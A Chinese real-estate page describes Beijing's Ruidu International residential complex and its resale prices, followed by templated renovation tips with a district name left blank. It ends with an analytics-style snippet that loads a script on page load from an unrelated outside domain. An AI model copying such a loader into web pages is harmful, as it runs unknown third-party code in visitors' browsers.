北京瑞都国际二手房_房价_小区详情

瑞都国际是一个位于北京市的住宅小区项目，由首都机场负责投资开发，集住宅、商业、金融、写字楼等休闲住宿为一体的生活区，也是一个配套齐全、风格多样、创意十足且品味超前的典型的中央生活区小区项目，既然位于帝都，它的房价自然不会低，那么这个小区究竟如何呢？小区项目简介瑞都国际位于北京市九棵树大街48号，物业类型定位于普通住宅，总建筑面积达到了26.4万平方米，整个小区项目早已完成建设，竣工日期为2005年4月30日，并设计户数为1259户，此外，它的物业管理费大约为1.85元每平米每月，并拥有近1300个车位数量，车位比例为1：1。瑞都国际由首都机场进行投资建设，开发商为北京瑞景房地产开发有限公司，物业公司为北京瑞景物业管理有限公司，小区的绿化率达到了33%，容积率达到了2.80.户型及周边配套小区定位于普通住宅，周边配套设施也比较完善，比如，小区项目距离北京地铁站非常近，并拥有多路公交车，周边还有双语艺术幼儿园和一个通州区第一实验小学，拥有多家大型银行和家乐福大型购物商场，此外还有多家酒店和饭店。小区户型比较常见，房屋面积从60-150平方米不等，户型和面积大致有这几种类型：三室二厅面积为140平米左右，二室二厅面积为98平米左右，一室一厅面积为60平米左右，两室两厅面积为110平米左右。二手房及房价目前小区有多套二手房正在出售，本来它们的面积不是很大，但是由于地处北京，房价很高，因此每一套房屋的价格都很贵。比如在新浪上出售的一套140平米的三室二厅房屋，它的总价格高达450万人民币，单价超过3万每平米，装修采用了精装修式，楼层位于大楼的第12层，拥有2个卫生间，采用30%进行首付购买也需要支付超过130万人民币。再以另外那个小户型为例，它是一个一室一厅的小型房屋，单价也高达30000每平米，总价高达186万人民币，首付也需要支付近60万。由此我们不难看出，作为中国房价最高的地方，北京确实是名副其实啊。大部分人在北京买一套像样的房屋还是需要时间的。北京作为我国房价最高的地方之一，一套房就需要至少几百万人民币，对于很多人来说，或许你一辈子都买不起北京的一套房屋。不过作为北京的一个普通住宅，瑞都国际的价格实际上已经不算贵了。

区二手房翻新改造注意事项 如何翻新区二手房？

今天的一手房非常昂贵，所以很多人在买房时选择区二手房翻新。那么，区二手房翻新改造的注意事项是什么？如何翻新区二手房？1、电路改造增加插座区二手房翻新电路的分布一般都简单，此外还存在电线老化，非法布线等，不能满足现代家庭的需求。在装修时，必须对二手房全屋的电路进行改造以及增加插座。如果发现原始线是铝线，则必须用2.5平方mm的铜线替换。对于大功率电器系列，应单独提供4mm方形截面线.2、更换水管区二手房原来安装的很多的管道有不合理的布局。在家中安装时，彻底检查原始水道，看它们是否生锈、老化。在装修区二手房翻新之前，检查原始防水工程是如何完成的。防水处理后，等待地面完全干燥，然后铺设瓷砖并进行整体装饰。而且，当马桶改变为坐在马桶中时，必须很好地进行马桶排水口位置的防水处理。在设计和装饰马桶顶部时，应注意拆卸和组装，这有利于将来的检查和维护。同时，应该注意的是，施工后不能留下死角。3、旧门窗应拆除并重做通常情况下，区二手房翻新发生的问题是门窗的老化，一般来说只要重新粉刷，那么门窗就可以继续使用，但如果出现木门和窗户剥落和变形这些问题，那么则意味着木材本身的特性发生了变化，因此必须进行更换。4、拆开检查隐蔽工程目前，家居装修质量问题是由于“隐蔽工程”的不当建设造成的。在区二手房翻新中，要特别地注意一项就是“隐蔽工程”。例如，天花板上的供水和通风等管道，以及其他线路是否已经密封，电气做过绝缘以及电阻测试，易燃材料是否具有防火性能等情况。以上就是对区二手房翻新的介绍，希望有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();